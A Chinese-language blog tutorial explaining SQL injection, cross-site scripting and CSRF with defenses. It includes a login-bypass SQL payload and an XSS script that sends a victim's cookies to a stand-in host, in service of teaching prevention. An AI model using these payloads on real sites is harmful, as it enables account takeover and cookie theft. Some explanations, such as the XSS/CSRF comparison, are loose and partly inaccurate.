首页 » Javascript » 正文

三种常见的网站攻击方法(SQL注入, 跨站脚本攻击XSS, 跨站请求伪造CSRF)以及防范措施

本文简单的介绍三种常见的网站攻击,以及应对方法,事实上,网上有很多网站都不同程度的存在这些漏洞,其实,这些问题已经很显而易见了,解决办法也很简单,只要在网站建设中稍加注意都能有效的防止这些攻击。

SQL注入图解

SQL Injection

此图来自互联网。

SQL注入案例

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或页面请求的查询字符串提交,最终达到欺骗服务器执行恶意SQL命令的目的,下面是典型的SQL注入的案例。

例如用户登录查询数据库代码如下:

1
String sql="select * from usert where name='"+usernameInput+"' and password='"+pwdInput+"'";

这行代码判断当uesrname和password条件都符合时,才会显示结果,我们看见这是用字符串拼接而成的。

如果我们输入用户名hh,密码输入下面的恶意数据:pwd’ or ‘1’=’1,在数据库服务器上相当于执行这样的SQL语句:

1
SELECT * FROM usert WHERE name='hh' AND password='pwd' OR '1'='1' ;

这个语句不管前面的条件是否成立,后面的语句总是为真,因此where条件语句总是成立的,这样无论如何都可以登录系统, 于是就跳过前面用户名和密码的验证。

SQL注入的解决方法

不要使用SQL拼接,而是使用预编译的SQL,使用PreparedStatement.set*()方法来赋值用户输入,至少可以对单引号进行转义,避免输入数据构成了代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
String sql= "insert into userlogin values(?,?)";
try {
  PreparedStatement ps=conn.prepareStatement(sql);
  for(int i=1;i<100;i++){
    ps.setInt(1, i);
    ps.setInt(2, 8888);
    ps.executeUpdate();
  }
  ps.close();
  conn.close();
} catch (SQLException e) {
  e.printStackTrace();
}

这样,不管用户输入是什么,数据库服务器总认为是一个值,而SQL语句是相同的不会重复编译,也不会编译新的SQL语句,所以不管用户怎么输入,都不会产生”SQL注入安全问题”,预编译也可以提高效率。

跨站脚本攻击XSS图解

xss

此图来自互联网。

跨站脚本攻击XSS案例

恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。

例如:用户A登录了论坛,同时用户B也登录了论坛,用户B发表帖子并在内容中输入如下代码:

1
<script>alert(document.cookie)</script>

这段代码变成了帖子内容页面的一部分,这时用户A浏览了该帖子,这段代码就会被执行,这样cookie信息就会被泄漏,考虑到这段代码可以更改为:

1
<script>document.location.href  = "http://www.xss.com?secret=" + document.cookie;</script>

这样用户A的cookie就被用户B偷走了。

跨站脚本攻击XSS解决方法

XSS攻击是利用注入javascript脚本的漏洞来进行的,这样如果我们对输入的内容进行转移,比如,对<, >, javascript等关键字进行过滤或者转义即可有效的避免此问题。

跨站请求伪造CSRF图解

csrf

此图来自互联网。

跨站请求伪造CSRF案例

攻击通过在授权用户访问的页面中包含链接或者脚本的方式工作。

例如:一个网站用户Bob可能正在浏览聊天论坛,而同时另一个用户Alice也在此论坛中,并且后者刚刚发布了一个具有Bob银行链接的图片消息。设想一下,Alice编写了一个在Bob的银行站点上进行取款的form提交的链接,并将此链接作为图片tag。如果Bob的银行在cookie中保存他的授权信息,并且此cookie没有过期,那么当Bob的浏览器尝试装载图片时将提交这个取款form和他的cookie,这样在没经Bob同意的情况下便授权了这次事务。

跨站请求伪造CSRF解决方法

可以通过在请求的Session中保存一个随机数,每次提交必须核对随机数,如果没有随机数,那说明是伪造的请求,则决绝服务。

XSS和CSRF的相同点和区别

1. 两者都是通过在信任网站注入javascript脚本来实现的。
2. XSS是受害者用户和犯罪用户都在同一个网站,犯罪用户注入脚本,偷窃受害者用户的cookie信息,然后,冒充受害者在此网站上来做违法的事情,设计到1个网站。
3. CSRF是受害者同时登录两个网站,先登录了一个网站,例如网银,然后又登录了论坛,在论坛中犯罪用户注入了一段脚本,这段脚本可以操作受害者用户之前登录网银的未过期Cookie而发生的,也就是涉及到2个网站。